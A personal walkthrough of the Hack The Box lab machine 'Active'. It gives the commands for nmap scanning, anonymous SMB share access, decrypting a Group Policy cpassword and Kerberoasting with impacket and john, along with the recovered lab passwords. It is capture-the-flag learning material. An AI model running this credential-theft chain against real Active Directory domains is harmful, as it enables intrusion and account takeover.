Hack the Box “Active” Walktrough/Writeup

I’ve been playing with htb / Hack The Box for a little while, but I often stumble upon something that gets me stuck.

But this one in the Active Directory 101 path with the name Active is my first one “without” help.

First I did my usual nmap.

nmap -sV --script vuln 10.129.207.101


Starting Nmap 7.92 ( https://nmap.org ) at 2022-10-25 08:36 BST
Nmap scan report for 10.129.207.101
Host is up (0.051s latency).
Not shown: 983 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-10-25 07:36:41Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
Host script results:
|_samba-vuln-cve-2012-1182: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR
|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR
|_smb-vuln-ms10-054: false

I then edited my host file to link the IP to the domain active.htb.

nano /etc/hosts

After that I did some usual smbplay, and ended up with some nice files containing a username and something called cpassword.

smbclient -L 10.129.207.101
Enter WORKGROUP\htb-dr3as's password:
Anonymous login successful

Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
Replication Disk
SYSVOL Disk Logon server share
Users Disk
SMB1 disabled -- no workgroup available

smbclient \\\\10.129.207.101\\Replication
Enter WORKGROUP\htb-dr3as's password:
Anonymous login successful

smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> get Groups.xml


active.htb\SVC_TGS edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ

I had to google what I’m able to to with the cpasssword, and gpp-decrypt was the first hit.

gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
GPPstillStandingStrong2k18

I then tried with smbclient again, this time with username and password, and there the userflag was.

smbclient -U active.htb\\SVC_TGS \\\\10.129.207.101\\Users
Enter ACTIVE.HTB\SVC_TGS's password:
Try "help" to get a list of possible commands.
smb: \>

smb: \SVC_TGS\Desktop\> get user.txt
getting file \SVC_TGS\Desktop\user.txt of size 34 as user.txt (0.4 KiloBytes/sec) (average 0.4 KiloBytes/sec)

With this user I also was able to use the GetUserSPNs script from impacket to get the administrators password.

impacket-GetUserSPNs -request -dc-ip active.htb active.htb/SVC_TGS -save -outputfile GetUserSPNs.out

john --wordlist=/usr/share/wordlists/rockyou.txt GetUserSPNs.out

Ticketmaster1968

And yet again there was some smb to get the rootflag.

smb: \Administrator\Desktop\> get root.txt